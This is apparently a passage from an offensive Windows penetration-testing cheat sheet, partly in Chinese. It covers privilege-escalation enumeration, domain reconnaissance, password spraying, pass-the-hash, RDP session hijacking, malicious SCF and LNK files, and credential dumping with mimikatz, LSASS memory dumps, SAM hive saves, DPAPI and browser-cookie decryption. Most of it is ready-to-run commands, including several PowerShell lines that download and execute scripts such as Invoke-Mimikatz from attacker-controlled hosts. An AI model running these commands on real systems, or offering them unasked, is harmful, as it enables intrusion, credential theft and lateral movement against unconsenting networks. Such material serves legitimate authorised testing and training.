| $data = (New-Object System.Net.WebClient).DownloadData('http://192.168.49.126:8000/winPEASx64.exe');$RAS = [System.Reflection.Assembly]::Load($data);[winPEAS.Program]::Main(0); | |
| seatbelt.exe -group=all | |
| (new-object system.net.webclient).downloadstring('https://192.168.49.126:8000/HostRecon.ps1') | IEX | |
| Invoke-HostRecon | |
| IEX(New-Object Net.WebClient).DownloadString("http://192.168.49.54:8080/PowerUp.ps1"); | |
| Invoke-AllChecks; | |
| Get-Service Vuln_Service_Name | Invoke-ServiceAbuse; | |
| Token/Privilege Enumeration/Abuse: | |
| Get-ProcessTokenGroup - returns all SIDs that the current token context is a part of, whether they are disabled or not | |
| Get-ProcessTokenPrivilege - returns all privileges for the current (or specified) process ID | |
| Enable-Privilege - enables a specific privilege for the current process | |
| Service Enumeration/Abuse: | |
| Test-ServiceDaclPermission - tests one or more passed services or service names against a given permission set | |
| Get-UnquotedService - returns services with unquoted paths that also have a space in the name | |
| Get-ModifiableServiceFile - returns services where the current user can write to the service binary path or its config | |
| Get-ModifiableService - returns services the current user can modify | |
| Get-ServiceDetail - returns detailed information about a specified service | |
| Set-ServiceBinaryPath - sets the binary path for a service to a specified value | |
| Invoke-ServiceAbuse - modifies a vulnerable service to create a local admin or execute a custom command | |
| Write-ServiceBinary - writes out a patched C# service binary that adds a local admin or executes a custom command | |
| Install-ServiceBinary - replaces a service binary with one that adds a local admin or executes a custom command | |
| Restore-ServiceBinary - restores a replaced service binary with the original executable | |
| DLL Hijacking: | |
| Find-ProcessDLLHijack - finds potential DLL hijacking opportunities for currently running processes | |
| Find-PathDLLHijack - finds service %PATH% DLL hijacking opportunities | |
| Write-HijackDll - writes out a hijackable DLL | |
| Registry Checks: | |
| Get-RegistryAlwaysInstallElevated - checks if the AlwaysInstallElevated registry key is set | |
| Get-RegistryAutoLogon - checks for Autologon credentials in the registry | |
| Get-ModifiableRegistryAutoRun - checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns | |
| Miscellaneous Checks: | |
| Get-ModifiableScheduledTaskFile - find schtasks with modifiable target files | |
| Get-UnattendedInstallFile - finds remaining unattended installation files | |
| Get-Webconfig - checks for any encrypted web.config strings | |
| Get-ApplicationHost - checks for encrypted application pool and virtual directory passwords | |
| Get-SiteListPassword - retrieves the plaintext passwords for any found McAfees SiteList.xml files | |
| Get-CachedGPPPassword - checks for passwords in cached Group Policy Preferences files | |
| Other Helpers/Meta-Functions: | |
| Get-ModifiablePath - tokenizes an input string and returns the files in it the current user can modify | |
| Write-UserAddMSI - write out a MSI installer that prompts for a user to be added | |
| Invoke-WScriptUACBypass - performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe | |
| Invoke-PrivescAudit - runs all current escalation checks and returns a report (formerly Invoke-AllChecks) | |
| ``` | |
| ## Local enum commands | |
| ``` | |
| ipconfig /all ------ 查询本机IP段,所在域等 | |
| net user ------ 本机用户列表 | |
| net localgroup administrators ------ 本机管理员[通常含有域用户] | |
| net user /domain ------ 查询域用户 | |
| net group /domain ------ 查询域里面的工作组 | |
| net group "domain admins" /domain ------ 查询域管理员用户组 | |
| net localgroup administrators /domain ------ 登录本机的域管理员 | |
| net localgroup administrators workgroup\user001 /add ------域用户添加到本机 | |
| net group "domain controllers" /domain ------ 查看域控制器(如果有多台) | |
| net time /domain ------ 判断主域,主域服务器都做时间服务器 | |
| net config workstation ------ 当前登录域 | |
| net session ------ 查看当前会话 | |
| net use \\ip\ipc$ pawword /user:username ------ 建立IPC会话[空连接-***] | |
| net share ------ 查看SMB指向的路径[即共享] | |
| net view ------ 查询同一域内机器列表 | |
| net view \\ip ------ 查询某IP共享 | |
| net view /domain ------ 查询域列表 | |
| net view /domain:domainname ------ 查看workgroup域中计算机列表 | |
| net start ------ 查看当前运行的服务 | |
| net accounts ------ 查看本地密码策略 | |
| net accounts /domain ------ 查看域密码策略 | |
| nbtstat –A ip ------netbios 查询 | |
| netstat –an/ano/anb ------ 网络连接查询 | |
| route print ------ 路由表tasklist /V ----- 查看进程[显示对应用户] | |
| tasklist /S ip /U domain\username /P /V ----- 查看远程计算机进程列表 | |
| qprocess * ----- 类似tasklist | |
| qprocess /SERVER:IP ----- 远程查看计算机进程列表 | |
| nslookup –qt-MX Yahoo.com ----- 查看邮件服务器 | |
| whoami /all ----- 查询当前用户权限等 | |
| set ----- 查看系统环境变量 | |
| systeminfo ----- 查看系统信息 | |
| qwinsta ----- 查看登录情况 | |
| qwinsta /SERVER:IP ----- 查看远程登录情况 | |
| fsutil fsinfo drives ----- 查看所有盘符 | |
| gpupdate /force ----- 更新域策略cmdkey /l ----- 看是否保存了登陆凭证。 | |
| (攻击者会先查看管理员是否保留了登陆凭证,方便后续的凭证抓取。) | |
| echo %logonserver% ----- 查看登陆域 | |
| gpresult /user svc_testldap /z ----- Displays the Resultant Set of Policy (RSoP) information | |
| ## The user does not have RSoP data. This is an error you get back from running GPRESULT /R and it happens because the user you're running this command with isn't logged on the system. | |
| gpresult [/s <system> [/u <username> [/p [<password>]]]] [/user [<targetdomain>\]<targetuser>] [/scope {user | computer}] {/r | /v | /z | [/x | /h] <filename> [/f] | /?} | |
| gpresult /s srvmain /u maindom\hiropln /p p@ssW23 /user targetusername /scope user /r | |
| ``` | |
| ## Local enum using wmic | |
| WMI is a subsystem of PowerShell that provides system administrators with powerful tools for system monitoring. | |
| Some of the uses for WMI are: | |
| - Status information for local/remote systems | |
| - Configuring security settings on remote machines/applications | |
| - Setting and changing user and group permissions | |
| - Setting/modifying system properties | |
| - Code execution | |
| - Scheduling processes | |
| - Setting up logging | |
| ``` | |
| wmic os list brief | |
| wmic process list brief | |
| wmic group list brief | |
| wmic computersystem list | |
| wmic process list /format:list | |
| wmic ntdomain list /format:list | |
| wmic useraccount list /format:list | |
| wmic group list /format:list | |
| wmic sysaccount list /format:list | |
| wmic /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * | |
| Get-WmiObject -Class Win32_UserAccount -Filter "LocalAccount='True'" | |
| Get-WmiObject -class win32_OperatingSystem | Select Version.BuildNumber | |
| Get-WmiObject -Class Win32_OperatingSystem | Select SerialNumber | |
| Get-WmiObject -class win32_process | Select ProcessName, ProcessId | |
| Get-WmiObject -class win32_service | |
| Get-WmiObject -class win32_Bios | |
| Invoke-WmiMethod -Path "CIM_DataFile.Name='C:\users\public\spns.csv'" -Name Rename -ArgumentList "C:\Users\Public\kerberoasted_users.csv" | |
| ``` | |
| ## Find generic writable folder for everyone and current user | |
| (Not checking on group name like IIS) also can try -Path $HOME | |
| ``` | |
| $ErrorActionPreference= 'silentlycontinue';Get-ChildItem -Path c:\*\*\ -Force | where { $_.PSIsContainer -eq "TRUE"} | Where-Object { $acl = Get-Acl $_.FullName; $acl.Access | Where-Object { $_.identityreference -match "authenticated users|everyone|$env:username" -and $_.filesystemrights -match "full|modify|write"}} | |
| powershell -exec bypass -nop -C "$ErrorActionPreference=\"silentlycontinue\";Get-ChildItem -Path $HOME -Force | where { $_.PSIsContainer -eq \"TRUE\"} | Where-Object { $acl = Get-Acl $_.FullName; $acl.Access | Where-Object { $_.identityreference -match \"$env:username\" -and $_.filesystemrights -match \"Full\"}}" | |
| ``` | |
| ## Check recent modified file | |
| ``` | |
| Get-ChildItem -Path \\pdc\Shared\Accounting\*.* -Filter * | ? {$_.LastWriteTime -gt (Get-Date).AddDays(-1)} | |
| ``` | |
| ## Get ACL for a Folder | |
| script scans for directories under shared folder and gets acl(permissions) for all of them | |
| ``` | |
| $path = "\\pdc\Shared\folder"; dir -Recurse $path | where { $_.PsIsContainer } | % { $path1 = $_.fullname; Get-Acl $_.Fullname | % { $_.access | Add-Member -MemberType NoteProperty '.\Application Data' -Value $path1 -passthru }} | |
| ``` | |
| ## Get .NET version | |
| ``` | |
| Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version,Release -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select PSChildName, Version, Release | |
| ``` | |
| ## Enum service | |
| ``` | |
| Get-Service | ? {$_.Status -eq "Running"} | select -First 2 | fl | |
| Get-Service -name "*update*" | fl -auto | |
| ``` | |
| ## Inspect network traffic | |
| ``` | |
| tcpdump -i eth0 icmp | |
| /var/www/apache2/access.log | |
| netsh trace show interfaces | |
| netsh trace start capture=yes CaptureInterface="Ethernet" tracefile="C:\Users\user\Desktop\www\trace.etl" maxsize=10 # tcpdump | |
| netsh trace start capture=yes IPv4.Address=192.168.122.2 | |
| netsh trace start capture=yes # cannot capture on localhost | |
| netsh trace stop | |
| etl2pcapng.exe trace.etl trace.pcapng # convert etl to pcapng - https://github.com/microsoft/etl2pcapng/ | |
| ``` | |
| ## Windows critical system services | |
| ``` | |
| Service Description | |
| smss.exe Session Manager SubSystem. Responsible for handling sessions on the system. | |
| csrss.exe Client Server Runtime Process. The user-mode portion of the Windows subsystem. | |
| wininit.exe Starts the Wininit file .ini file that lists all of the changes to be made to Windows when the computer is restarted after installing a program. | |
| logonui.exe Used for facilitating user login into a PC | |
| lsass.exe The Local Security Authentication Server verifies the validity of user logons to a PC or server. It generates the process responsible for authenticating users for the Winlogon service. | |
| services.exe Manages the operation of starting and stopping services. | |
| winlogon.exe Responsible for handling the secure attention sequence, loading a user profile on logon, and locking the computer when a screensaver is running. | |
| System A background system process that runs the Windows kernel. | |
| svchost.exe with RPCSS Manages system services that run from dynamic-link libraries (files with the extension .dll) such as "Automatic Updates," "Windows Firewall," and "Plug and Play." Uses the Remote Procedure Call (RPC) Service (RPCSS). | |
| svchost.exe with Dcom/PnP Manages system services that run from dynamic-link libraries (files with the extension .dll) such as "Automatic Updates," "Windows Firewall," and "Plug and Play." Uses the Distributed Component Object Model (DCOM) and Plug and Play (PnP) services. | |
| ``` | |
| ## Check hidden file | |
| MOST system files or critical files are hidden | |
| ```powershell | |
| gci -hidden | |
| attrib -s -h -r /s /d | |
| ``` | |
| ## Inspect windows event | |
| https://github.com/RamblingCookieMonster/PowerShell | |
| ```powershell | |
| Get-WinEvent -ComputerName DomainController1 -FilterHashtable @{Logname='security';id=4740} -MaxEvents 10 | Get-WinEventData | Select TimeCreated, e_TargetUserName, e_TargetDomainName //check account lockout | |
| Get-WinEvent -ComputerName DomainController1 -FilterHashtable @{Logname='security';id=4688} -MaxEvents 10 | Get-WinEventData | select TimeCreated, e_CommandLine | ft -autosize -wrap //a new process has been created | |
| ``` | |
| ## Windows setting | |
| ``` | |
| secpol.msc # Local Security Policy | |
| gpedit.msc # Group Policy Editor | |
| lusrmgr.msc # Local Users and Groups | |
| services.msc # Services Manager | |
| wf.msc # Windows Firewall | |
| taskschd.msc # Task Scheduler | |
| wmimgmt.msc # WMI Management | |
| compmgmt.msc # Computer Management | |
| devmgmt.msc # Device Manager | |
| eventvwr.msc # Event Viewer | |
| fsmgmt.msc # Shared Folders | |
| regedit | |
| msconfig | |
| gpmc.msc # Group Policy Management | |
| gpme.msc # Group Policy Mangement Editor | |
| gptedit.msc # Group Policy Starter GPO Editor | |
| domain.msc # Active Directory Domains and Trust | |
| dsa.msc # Active Directory Users and Computers. | |
| dssite.msc # Active Directory Sites and Services | |
| iis.msc # Internet Information Services Manager | |
| iis6.msc # Internet Information Services Manager 6.0 | |
| wsus.msc # Update Services | |
| ``` | |
| # Post Exploitation | |
| ## Identify the internal hosts | |
| Get-DomainComputer | |
| ``` | |
| Get-DomainComputer | foreach-object {Resolve-IPAddress $_.cn} | |
| ``` | |
| Metasploit post module | |
| ``` | |
| use post/windows/gather/arp_scanner | |
| ``` | |
| ## Password Spraying Attack | |
| ``` | |
| crackmapexec smb 192.168.1.0/24 -u "ned.flanders_adm" -p "Lefthandedyeah!" | |
| crackmapexec smb ./host.list -u "ned.flanders_adm" -p "Lefthandedyeah!" | |
| crackmapexec ssh 172.16.1.0/24 -u "ned.flanders_adm" -p "Lefthandedyeah!" | |
| crackmapexec winrm 172.16.1.0/24 -u "ned.flanders_adm" -p "Lefthandedyeah!" | |
| crackmapexec mssql 172.16.1.0/24 -u "ned.flanders_adm" -p "Lefthandedyeah!" | |
| crackmapexec smb 172.16.2.102 -d "corp.local" -u "svc_devops" -H "aad3b435b51404eeaad3b435b51404ee:c718f548c75062ada93250db208d3178" --shares | |
| proxychains4 crackmapexec smb ./host.list --gen-relay-list ./NoSMBsign.txt | |
| crackmapexec smb 172.16.126.151 -u "imaginarybit" -p 'P@ssw0rd12345!' --local-auth | |
| sudo python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP] | |
| sudo python3 RDPassSpray.py -U /root/Desktop/user.txt -p 123 -t 192.168.1.106 | |
| sudo python3 RDPassSpray.py -u "ned.flanders_adm" -p "Lefthandedyeah!" -T host.list | |
| https://github.com/lanjelot/patator.git | |
| patator [module] host=FILE0 user=FILE1 password=FILE2 0=hosts.txt 1=logins.txt 2=passwords.txt | |
| ssh_login | |
| ftp_login | |
| rdp_login | |
| mssql_login | |
| smb_login host=FILE0 0=hosts.txt user=COMBO10 password_hash=COMBO12:COMBO13 1=pwdump.txt # Test every user (each line := login:rid:LM hash:NT hash). | |
| unzip_pass | |
| patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 | |
| patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt | |
| patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0use auxiliary/scanner/vnc/vnc_login | |
| patator rdp_login host=192.168.101.128 user=tester password='testpass' //doesnt support domain user well | |
| ncrack -vv --user <User> -P pwds.txt rdp://<IP> | |
| rdp_check.py lab/tester:[email protected] | |
| rdp_check.py lab/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:c718f548c75062ada93250db208d3178 | |
| ``` | |
| ## check gpp password | |
| ``` | |
| proxychains4 crackmapexec smb 172.16.126.192 -u nina -p 'Password123!#$' -d final.com -M gpp_password | |
| ``` | |
| ## no brute force | |
| ``` | |
| crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -p ~/file_containing_passwords --no-bruteforce --continue-on-success | |
| ``` | |
| ## SMB shares enumeration with known credentials | |
| save username and hashes to userpass.txt in format of "Administrator LMhash:NThash" or "Administrator password" | |
| ``` | |
| IFS=$'\n'&&for i in $(cat ./userpass.txt);do echo "Enumeration with username $(echo $i | awk -F' ' '{print $1}')" && proxychains4 -f ../dc03.conf smbmap -d admin.offshore.com -u $(echo $i | awk -F' ' '{print $1}') -p $(echo $i | awk -F' ' '{print $2}') -H 172.16.4.31;done | |
| ``` | |
| ## Pass the Hash Attack | |
| ``` | |
| crackmapexec smb <target(s)> -u username -H LMHASH:NTHASH | |
| crackmapexec smb <target(s)> -u username -H NTHASH | |
| ``` | |
| ## Using CME Modules: | |
| ``` | |
| cme smb -L | |
| cme <protocol> -M <module name> --options | |
| cme <protocol> <target(s)> -u Administrator -p 'P@ssw0rd' -M mimikatz -o COMMAND='privilege::debug' | |
| cme <protocol> <target(s)> -u Administrator -p 'P@ssw0rd' -M rdp -o ACTION='enable' | |
| cme <protocol> <target(s)> -u Administrator -p 'P@ssw0rd' -M bloodhound -o ACTION='enable' | |
| ``` | |
| ## NULL session | |
| ``` | |
| crackmapexec smb <target(s)> -u '' -p '' | |
| ``` | |
| ## RDP Session Hijacking with tscon - connect to a different user in the same system - requires administrator | |
| ``` | |
| query user # get session name | |
| sc create hijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#1" # sc create <process_name> binpath= "cmd.exe /k tscon <user 2_ID> /dest:<session_name>" | |
| net start hijack | |
| method 2: via task manager -> users -> connect -> enter credentials | |
| method 3: Mimikatz | |
| ts::sessions | |
| privilege::debug | |
| token::elevate | |
| ts::remote /id:1 | |
| ``` | |
| ## SCF file attack | |
| put the SCF file in a writable shared folder | |
| ``` | |
| [Shell] | |
| Command=2 | |
| IconFile=\\X.X.X.X\share\pentestlab.ico | |
| [Taskbar] | |
| Command=ToggleDesktop | |
| #add @ symbol in front of the filename will place the pentestlab.scf | |
| responder -wrf --lm -v -I eth0 //Running SMB1, Capture NTLM | |
| responder -wrf -v -I eth0 //Running SMB2, Capture Net-NTLM | |
| ``` | |
| ## lnk file attack | |
| put the lnk file in a writable shared folder | |
| ``` | |
| $objShell = New-Object - ComObject WScript.Shell | |
| $link = $objShell.CreateShortcut("C:\Malicous.lnk") | |
| $link.TargetPath = "\\attackerIP\@threat.png" | |
| $link.WindowStyle = 1 | |
| $link.IconLocation = "%windir%\system32\shell32.dll, 3" | |
| $link.Description = "what ever" | |
| $link.HotKey = "Ctrl+Alt+O" | |
| $link.Save() | |
| ``` | |
| # Dumping Credentials | |
| ## Workstation Credentials Storage | |
| ## WDigest | |
| This is a legacy protocol used to authenticate users in Windows. When enabled, LSASS keeps a plain-text copy of logged in user’s password in memory. | |
| While the service is disabled by default nowadays, it still exists in the latest versions of Windows, and attackers often enable it in order to steal credentials. | |
| "reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /d 1" | |
| ## Security Accounts Manager database (SAM) | |
| The SAM database is stored as a file on the local hard disk drive, and it is the authoritative credential store for local accounts on each Windows computer. | |
| The SAM database stores information on each account, including the user name and the NT password hash. | |
| ## Local Security Authority Subsystem Service (LSASS) | |
| The Local Security Authority Subsystem Service (LSASS) stores credentials in memory on behalf of users with active Windows sessions. | |
| Reversibly encrypted plaintext, Kerberos tickets (TGTs, service tickets), NT hash, LM hash | |
| ## LSA secrets on the hard disk drive | |
| A Local Security Authority (LSA) secret is a secret piece of data that is accessible only to SYSTEM account processes. | |
| Account password for the computer’s AD DS account | |
| Account passwords for Windows services that are configured on the computer | |
| Account passwords for configured scheduled tasks | |
| Account passwords for IIS application pools and websites | |
| ## Credential Manager store | |
| These credentials are stored on the hard disk drive and protected by using the Data Protection Application Programming Interface (DPAPI). | |
| ## Kerberos | |
| The Kerberos protocol was specifically designed for strong, secure authentication. It does so through a ticketing system, granting various permissions to users and services. | |
| Attacks against Kerberos generally involve forging or injecting stolen Kerberos tickets to gain access. | |
| ## Cached Domain Credentials in Registry | |
| ==================================================================================================================================================================================================================== | |
| ## Domain Controller Credentials Storage | |
| ## AD DS database (NTDS.DIT) | |
| The Active Directory Domain Services (AD DS) database is the authoritative store of credentials for all user and computer accounts in an AD DS domain. | |
| NT hash for the current password | |
| NT hashes for password history (if configured) | |
| ## Group Policy Preference files | |
| This Windows tool lets administrators roll up domain policies to include embedded credentials, making administration easier. | |
| These policies are generally stored in a share called SYSVOL, which any domain user can view, and potentially decrypt. | |
| ## DCSync | |
| Instead of a location, DCSync is a technique where an attacker takes advantage of the way domain controllers handle available API calls. | |
| In short, the attacker mimics the behavior of another domain controller through API calls and gets the controller to send over credential hashes that can be used in further attacks. | |
| ==================================================================================================================================================================================================================== | |
| ## check whether protections such as Credential Guard/protected process are configured and running | |
| mimikatz > version | |
| ## Requires administrator access with debug or Local SYSTEM rights | |
| privilege::debug | |
| ## Escalate to SYSTEM | |
| token::whoami | |
| token::elevate | |
| or | |
| psexec64.exe -i -s powershell.exe | |
| ## Dump cached domain credentials - Impacket offline | |
| reg.exe save hklm\sam c:\temp\sam.save | |
| reg.exe save hklm\security c:\temp\security.save | |
| reg.exe save hklm\system c:\temp\system.save | |
| secretsdump.py -sam sam.save -security security.save -system system.save LOCAL | |
| lsadump::cache | |
| lsadump::secrets | |
| If the autologon functionality is needed, consider using the Sysinternals utility "Autologon" (which will store the password encrypted in the registry) | |
| instead of the Windows built-in one (which needs the password to be saved in plain-text in the registry). | |
| ## Dump SAM NTLM - online under SYSTEM priv | |
| meterpreter> hashdump | |
| run post/windows/gather/hashdump | |
| run post/windows/gather/smart_hashdump | |
| run post/windows/gather/credentials/credential_collector | |
| run post/windows/gather/credentials/sso | |
| lsadump::sam | |
| ## PostDump | |
| perform a memory dump (lsass) using several technics to bypass EDR hooking and lsass protection. | |
| https://github.com/post-cyberlabs/Offensive_tools/tree/main/PostDump | |
| ## Download mimikatz binary | |
| powershell.exe -exec Bypass -noexit -C "(New-Object Net.WebClient).DownloadFile('http://172.16.1.5:30080/mimikatz.exe','c:\Users\Administrator\Downloads\mimikatz.exe')" | |
| ## Invoke-MassMimikatz | |
| powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://10.10.14.2/Invoke-MassMimikatz.ps1');'$env:COMPUTERNAME'|Invoke-MassMimikatz -Verbose" | |
| ## Invoke-Kerberoast with Hashcat Output | |
| powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://10.10.14.2//Invoke-Kerberoast.ps1');Invoke-kerberoast -OutputFormat Hashcat" | |
| ## Invoke Mimikatz | |
| powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://10.10.14.2/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds" | |
| ## Import Mimikatz Module | |
| powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://10.10.14.2/Invoke-Mimikatz.ps1')" | |
| ## Perform DcSync attack | |
| Invoke-Mimikatz -Command '"lsadump::dcsync /domain:demodomain /user:sqladmin"' | |
| ## Manual Procdump for offline mimikatz | |
| .\procdump.exe -accepteula -ma lsass.exe lsass.dmp | |
| .\procdump64.exe -accepteula -ma lsass.exe lsass.dmp | |
| .\rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass_pid C:\temp\lsass.dmp full | |
| PS> C:\path\to\procdump64.exe -accepteula -ma lsass.exe lsass.dmp; certutil -encode C:\path\to\lsass.dmp C:\path\to\file.b64 # avoid lsass.dmp deleted by system automaticly | |
| meterpreter download file.b64 | |
| certutil -decode file.b64 file.dmp | |
| ## Dump credentials from lsass process in memory | |
| sekurlsa::minidump c:\temp\file.dmp | |
| sekurlsa::LogonPasswords | |
| ## meterpreter - load kiwi | |
| meterpreter > kiwi_cmd sekurlsa::logonPasswords | |
| meterpreter > kiwi_cmd dpapi::cred | |
| meterpreter > kiwi_cmd dpapi::vault | |
| ## remotely run mimikatz using psexec64.exe | |
| PsExec64.exe \\server01 -f -s -c mimikatz.exe | |
| ## Pass-the-Hash with Mimikatz | |
| sekurlsa::pth /user:USERNAME /domain:DOMAIN /ntlm:HASH /run:COMMAND | |
| ## DPAPI - Chrome Cookies/Login Data, the Windows Credential Manager/Vault (e.g. saved IE/Edge logins and file share/RDP passwords), and Remote Desktop Connection Manager .rdg files | |
| The master key needs to be decrypted using the user’s password OR the domain backup key. The master key is used to decrypt any DPAPI data blobs. | |
| C:\Users\<USER>\AppData\Local\Microsoft\Credentials\ # Credential files for users | |
| C:\Users\<USER>\AppData\Local\Microsoft\Protect\ # Masterkey files (masterkey,backupkey,domainkey) for users | |
| %systemroot%\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\ # Credential files for system credentials | |
| %systemroot%\System32\config\systemprofile\AppData\Local\Microsoft\Protect\ # Masterkey files (masterkey,backupkey,domainkey) for system credentials | |
| C:\Users\<USER>\AppData\Local\Microsoft\Vault\<VAULT_GUID>\ # Windows Vaults | |
| ## Master key stored at C:\Users\<USER>\AppData\Roaming\Microsoft\Protect\<SID>\<GUID>, <SID> is the user’s security identifier, <GUID> is the name of the master key | |
| dpapi::masterkey /in:<MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected | |
| ## Decrypt scheduled task credentials online - under AUTORITE NT\System - https://github.com/gentilkiwi/mimikatz/wiki/howto-~-scheduled-tasks-credentials | |
| sekurlsa::dpapi # extract the system’s DPAPI key out of memory | |
| dpapi::cred /in:”%systemroot%\System32\config\systemprofile\AppData\Local\Microsoft\Credentials” | |
| dpapi::cred /in:%systemroot%\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\AA10EB8126AA20883E9542812A0F904C /masterkey:0a942e9dfc93424608... | |
| ## Decrypt credential manager saved credentials - not recommended - https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials | |
| vault::list # list/attempt to decrypt credentials from \AppData\Local\Microsoft\Vault\ | |
| vault::cred # list/attempt to decrypt credentials from \AppData\Local\Microsoft\Credentials\ | |
| vault::cred /patch # not recommended - use the other options at below | |
| ## Code Execution in Target User’s Context - decrpyed under same user's session | |
| dpapi::chrome /in:”%localappdata%\Google\Chrome\User Data\Default\Cookies” /unprotected | |
| dpapi::cred /in:”C:\Users\harmj0y\AppData\Local\Google\Chrome\User Data\Default\Cookies” /unprotected | |
| ## Administrative Access on a Machine the Target User is Currently Logged In On | |
| sekurlsa::dpapi # extract all DPAPI keys from memory for users currently logged into system | |
| dpapi::chrome /in:”C:\Users\harmj0y\AppData\Local\Google\Chrome\User Data\Default\Cookies” /masterkey:f35cfc2b44aedd7… | |
| dpapi::cred /in:”C:\Users\harmj0y\AppData\Local\Google\Chrome\User Data\Default\Cookies” /masterkey:f35cfc2b44aedd7… | |
| ## Administrative Access on a Machine the Target User is NOT Currently Logged In On - with credentials | |
| dpapi::masterkey /in:<MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected | |
| dpapi::chrome /in:”%localappdata%\Google\Chrome\User Data\Default\Cookies” /unprotected | |
| dpapi::cred /in:”C:\Users\harmj0y\AppData\Local\Google\Chrome\User Data\Default\Cookies” /unprotected | |
| ## Administrative Access on a Machine the Target User is NOT Currently Logged In On - without credentials | |
| dpapi::masterkey /in:”C:\Users\dfm.a\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1110\ca748af3-8b95-40ae-8134-cb9534762688″ /rpc # ask domain controller to decrpy master key | |
| dpapi::chrome /in:”C:\Users\harmj0y\AppData\Local\Google\Chrome\User Data\Default\Cookies” /masterkey:f35cfc2b44aedd7… | |
| dpapi::cred /in:”C:\Users\harmj0y\AppData\Local\Google\Chrome\User Data\Default\Cookies” /masterkey:f35cfc2b44aedd7… | |
| ## DPAPI - Elevated Domain Privilege | |
| lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export #.pvk private key can be used to decrypt ANY domain user masterkeys | |
| dpapi::masterkey /in:b8854128-023c-433d-aac9-232b4bca414c /pvk:ntds_capi_0_32d021e7-ab1c-4877-af06-80473ca3e4d8.pvk | |
| dpapi::chrome /in:Cookies /masterkey:f35cfc2b44aedd7… | |
| ## Check current found masterkey | |
| dpapi::cache | |
| ## Decrpyt Encrypting File System (EFS) - https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files | |
| cipher /c "d:\Users\Gentil Kiwi\Documents\encrypted.txt" # print out certificate & private key with digest B53C6DE283C00203587A03DD3D0BF66E16969A55 | |
| ## Obtain the certificate and its public key, | |
| crypto::system /file:"D:\Users\Gentil Kiwi\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\B53C6DE283C00203587A03DD3D0BF66E16969A55" /export # obtained publicKey B53C6DE283C00203587A03DD3D0BF66E16969A55.der | |
| ## Check key provider info: Key Container ffb75517-bc6c-4a40-8f8b-e2c555e30e34 whether the private key's pUniqueName matches the Key Container | |
| dpapi::capi /in:"D:\Users\Gentil Kiwi\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-494464150-3436831043-1864828003-1001\79e1ac78150e8bea8ad238e14d63145b_4f8e7ec6-a506-4d31-9d5a-1e4cbed4997b" # Found guidMasterKey {1eccdbd2-4771-4360-8b19-9d6060a061dc} | |
| ## Decrypting the masterkey | |
| dpapi::masterkey /in:"D:\Users\Gentil Kiwi\AppData\Roaming\Microsoft\Protect\S-1-5-21-494464150-3436831043-1864828003-1001\1eccdbd2-4771-4360-8b19-9d6060a061dc" /password:waza1234/ # or using NTLM hash for domain accounts, sha1 hash for local account, or domain backup key. Found decrypted master key | |
| ## Decrypting the private key using decrypted masterkey | |
| dpapi::capi /in:"D:\Users\Gentil Kiwi\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-494464150-3436831043-1864828003-1001\79e1ac78150e8bea8ad238e14d63145b_4f8e7ec6-a506-4d31-9d5a-1e4cbed4997b" /masterkey:f2c9ea33a990c865e985c496fb8915445895d80b # obtained privateKey raw_exchange_capi_0_ffb75517-bc6c-4a40-8f8b-e2c555e30e34.pvk | |
| ## Building the correct PFX | |
| openssl x509 -inform DER -outform PEM -in B53C6DE283C00203587A03DD3D0BF66E16969A55.der -out public.pem | |
| openssl rsa -inform PVK -outform PEM -in raw_exchange_capi_0_ffb75517-bc6c-4a40-8f8b-e2c555e30e34.pvk -out private.pem | |
| openssl pkcs12 -in public.pem -inkey private.pem -password pass:mimikatz -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx | |
| ## Installing the PFX | |
| certutil -user -p mimikatz -importpfx cert.pfx NoChain,NoRoot | |
| ## Data access | |
| type "d:\Users\Gentil Kiwi\Documents\encrypted.txt" | |
| ## LaZagne - The LaZagne project is an open source application used to retrieve lots of passwords stored on a local computer. - https://github.com/AlessandroZ/LaZagne | |
| laZagne.exe all # Only extract the credentials related to current user | |
| laZagne.exe browsers | |
| laZagne.exe browsers -firefox | |
| laZagne.exe all -oA -output C:\Users\test\Desktop | |
| ## SharpDPAPI.exe | |
| SharpDPAPI.exe backupkeys /file:key.pvk /server:dc02.dev.admin.offshore.com # grab domain private key from domain controller | |
| ## SharpChrome.exe | |
| SharpChrome.exe logins /unprotect # credentials store using current user | |
| SharpChrome.exe cookies /unprotect # credentials store using current user | |
| SharpChrome.exe statekeys /file:key.pvk # credentials store in another user | |
